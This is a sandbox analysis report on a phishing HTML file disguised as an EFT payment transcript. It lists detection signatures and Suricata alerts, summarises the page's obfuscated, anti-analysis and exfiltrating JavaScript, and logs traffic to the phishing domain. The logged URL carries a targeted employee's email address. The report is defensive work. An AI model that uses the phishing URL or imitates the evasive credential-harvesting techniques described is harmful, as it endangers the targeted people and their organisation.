Edit tour

Windows Analysis Report
EFT Payment_Transcript__Survitecgroup.html

Overview

General Information

Sample name:	EFT Payment_Transcript__Survitecgroup.html
Analysis ID:	1582043
MD5:	f99cf5172a32fa61e27e51f4d13ae59e
SHA1:	59936ded6134a165c0210e58f046b58d3f5a1a42
SHA256:	3647f793778e03063591021b6262da9c4e56cd5ccf6aca799edc7c1eda8e1fd4
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

HTML file submission requesting Cloudflare captcha challenge

AI detected suspicious Javascript

Detected javascript redirector / loader

HTML document with suspicious name

Suspicious Javascript code found in HTML file

Connects to many different domains

Form action URLs do not match main URL

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\EFT Payment_Transcript__Survitecgroup.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2140 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2028,i,17852716604805810969,10536949635546678073,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Suricata Signatures

ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T17:00:25.445784+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.4	50084	104.244.42.3	443	TCP
2024-12-29T17:00:31.638920+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.4	50157	188.125.88.204	443	TCP
2024-12-29T17:00:33.920701+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.4	50185	188.125.88.204	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected suspicious Javascript

Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://rjwc1sic.olistraket.ru/mbbhx7U/#Jvassilis.... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external website. The combination of these behaviors suggests a high likelihood of malicious intent, potentially to prevent analysis or hide other malicious activities.
Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/EFT%20Payment_Trans... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to a suspicious domain. The use of obfuscation techniques and the generation of random subdomains further increase the risk. While the script includes a placeholder email, the overall behavior is highly suspicious and indicative of a potential phishing or malicious activity.
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://rjwc1sic.olistraket.ru/mbbhx7U/#Jvassilis.... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-detection measures (checking for webdriver, Phantom, and Burp) further increase the risk. While the script may have a legitimate purpose, the overall behavior is highly suspicious and indicative of potential malicious intent.
Source: 0.3.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://rjwc1sic.olistraket.ru/mbbhx7U/#Jvassilis.... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script uses the `turnstile.render()` function to render a form, and the `DvEImQyOfy()` function handles the form submission. The script collects user data, sends it to an unknown domain, and redirects the user to a Microsoft Power BI domain, which is inconsistent with the apparent purpose of the script. These behaviors are highly suspicious and indicate a high risk of malicious intent.

Detected javascript redirector / loader

Source: EFT Payment_Transcript__Survitecgroup.html

HTTP Parser: Low number of body elements: 0

Suspicious Javascript code found in HTML file

Source: EFT Payment_Transcript__Survitecgroup.html	HTTP Parser: location.href
Source: EFT Payment_Transcript__Survitecgroup.html	HTTP Parser: .location
Source: EFT Payment_Transcript__Survitecgroup.html	HTTP Parser: .location

Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free

HTTP Parser: Form action: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=10fa57ef-4895-4ab2-872c-8c3613d4f7fb&redirect_uri=https%3A%2F%2Fwww.microsoft.com%2Fcascadeauth%2Faccount%2Fsignin-oidc&response_type=code&prompt=none&scope=openid%20profile%20offline_access&code_challenge=QB1W0d8283AVjmZxkLnTYhVOhf8o3n_ajH6lZ9C4E40&code_challenge_method=S256&response_mode=form_post&nonce=638710848171440524.MjBhMzE5M2EtNDJiZi00ZmMwLWFkZjctY2Q1OWY0ODMxMjlkNmNlMGFjMTMtNWFkNi00YWEwLTkwNzItN2IzYjdhZGNmODc2&client_info=1&x-client-brkrver=IDWeb.3.2.0.0&msafed=0&claims=%7B%22compact%22%3A%7B%22name%22%3A%7B%22essential%22%3Atrue%7D%7D%7D&state=CfDJ8P_pstto1o1NgBRsh8q_VvhxkgJJMvtvQW6IEBExrAvu7S-Ow_op8eBuVV6YQDkyMPWJGz2cYKtxNbIW9gn92O0poC7Xf-YR9s8llsbi6jHu7bR2p3MMoa-o-Aw9ko0aFCIWpZLkNB84BUFH37Ga5YGDdFY5AM_v7idEKtX4KH7Fx_2uw1it7XW80RS3o1-6JwLdLrKhlA-5iRPC0lqxCBfdh4lLjnmnKzF9UUCmKhW32l93zvAxz8HlYg5u286zfN7MVpF-mLL9GbP8fy4CP6JLQEfOw9a-GaN3-RHRNTiaKqAqBEI-Ebl_HSVPMZeicixAfvM6HgDLeIekPQfVAwALDozSSlsCLvAdpJ61tiyLdliaToLnce8xA1wDD7Jfy2BZM8deSrp-KQCF2jWbYF4C7SZoK738tfb4nGrO_jKrr7zWkDn_mdFwBHxwiMbs3WLkcUlfEc7QPRPaSJZn4GCrRHxpib6vH5LYgEBZ-ic9bF6kUu5GD1WyNFrbR-JthZI7r2gXCmleI7Z5E9jzUHc&x-client-SKU=ID_NET6_0&x-client-ver=8.1.0.0&sso_reload=true microsoft microsoftonline

Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free	HTTP Parser: Number of links: 0
Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1	HTTP Parser: Number of links: 0

Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free

HTTP Parser: Base64 decoded: 20a3193a-42bf-4fc0-adf7-cd59f483129d6ce0ac13-5ad6-4aa0-9072-7b3b7adcf876

Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free

HTTP Parser: Title: Redirecting does not match URL

Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1

HTTP Parser: Iframe src: https://login.microsoftonline.com/savedusers?wreply=https://app.fabric.microsoft.com/signinredirect&appid=871c010f-5e61-4fb1-83ac-98610a7e9110

Source: EFT Payment_Transcript__Survitecgroup.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/EFT%20Payment_Transcript__Survitecgroup.html	HTTP Parser: No favicon
Source: https://rjwc1sic.olistraket.ru/mbbhx7U/#Jvassilis.georgossopoulos@survitecgroup.com	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free	HTTP Parser: No favicon
Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1	HTTP Parser: No favicon
Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1	HTTP Parser: No favicon
Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1	HTTP Parser: No favicon
Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1	HTTP Parser: No favicon
Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1	HTTP Parser: No favicon
Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1	HTTP Parser: No favicon

Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free	HTTP Parser: No <meta name="author".. found
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free	HTTP Parser: No <meta name="author".. found
Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1	HTTP Parser: No <meta name="author".. found
Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1	HTTP Parser: No <meta name="author".. found
Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1	HTTP Parser: No <meta name="author".. found
Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1	HTTP Parser: No <meta name="author".. found

Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free	HTTP Parser: No <meta name="copyright".. found
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi#Start-for-free	HTTP Parser: No <meta name="copyright".. found
Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1	HTTP Parser: No <meta name="copyright".. found
Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1	HTTP Parser: No <meta name="copyright".. found
Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1	HTTP Parser: No <meta name="copyright".. found
Source: https://app.fabric.microsoft.com/singleSignOn?pbi_source=websignup_PBIMktgGetStarted&culture=en-us&country=us&ru=https%3A%2F%2Fapp.fabric.microsoft.com%2F%3Fpbi_source%3Dwebsignup_PBIMktgGetStarted%26culture%3Den-us%26country%3Dus%26noSignUpCheck%3D1	HTTP Parser: No <meta name="copyright".. found

Source: unknown

Network traffic detected: DNS query count 60

Source: Joe Sandbox View	IP Address: 104.18.37.193 104.18.37.193
Source: Joe Sandbox View	IP Address: 63.140.62.222 63.140.62.222
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.4:50084 -> 104.244.42.3:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.4:50157 -> 188.125.88.204:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.4:50185 -> 188.125.88.204:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.58.99
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.58.99
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /mbbhx7U/ HTTP/1.1Host: rjwc1sic.olistraket.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://rjwc1sic.olistraket.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://rjwc1sic.olistraket.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://rjwc1sic.olistraket.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://rjwc1sic.olistraket.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/sghn1/0x4AAAAAAA3TEPXpcYeAkLPe/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rjwc1sic.olistraket.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f9afee62d6042e1&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/sghn1/0x4AAAAAAA3TEPXpcYeAkLPe/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/sghn1/0x4AAAAAAA3TEPXpcYeAkLPe/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: rjwc1sic.olistraket.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rjwc1sic.olistraket.ru/mbbhx7U/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRLOTh4Q2ZnSHRPa09DazBxa3JSM2c9PSIsInZhbHVlIjoiZHBaSUdENlNjdHBjbGV0bFd2RGw4d1g4NXNkd0pNTi9HYVQzSEZMbHhibkZ1ZEQ2M285SVBEK1pqZ0hFRmY0Sk12OVZvY3E3UnRVYis5b1RzcjF3ODJhNHVvZ01YSldFZHluNmh3UkVCb2JLTWFpWGtzeGV1OHArS0lNN1RMcGsiLCJtYWMiOiIwNWZhNTU0OTJjZTEwMmQzOTMwNGM2Yjg4ZmVhOGJlMmNkODViNTFjMmRhNzhmMDU4OGE2ZTk1OGJlNDRlNTYyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhzR1RZTzg1cUczT1I4SFlZUHZCa1E9PSIsInZhbHVlIjoiaVE2QTBtSWNsUHlsVHFFWWplWWNyTExZWTcyMmg3dSt5TGR0eVN4ZlgzMzFDZ0RtT24zWDRxMUNzQ1ZkZnY2THpncit2SUtuTlFYUitHY1loTXZJVkFpOXZXMXNnb1lQQWFHS3B1OGpoRUxaSTk3UmhVeG9TK2FJdk9mZ1hUbnkiLCJtYWMiOiIwNDc1ODQ4NTA1ODllMjhkYTVlYzUxYTIzOTljMDY5YjkyOGMzZjhjN2MxMTJhZjVmYTg1ZDgxMTlmZWRhMmRjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
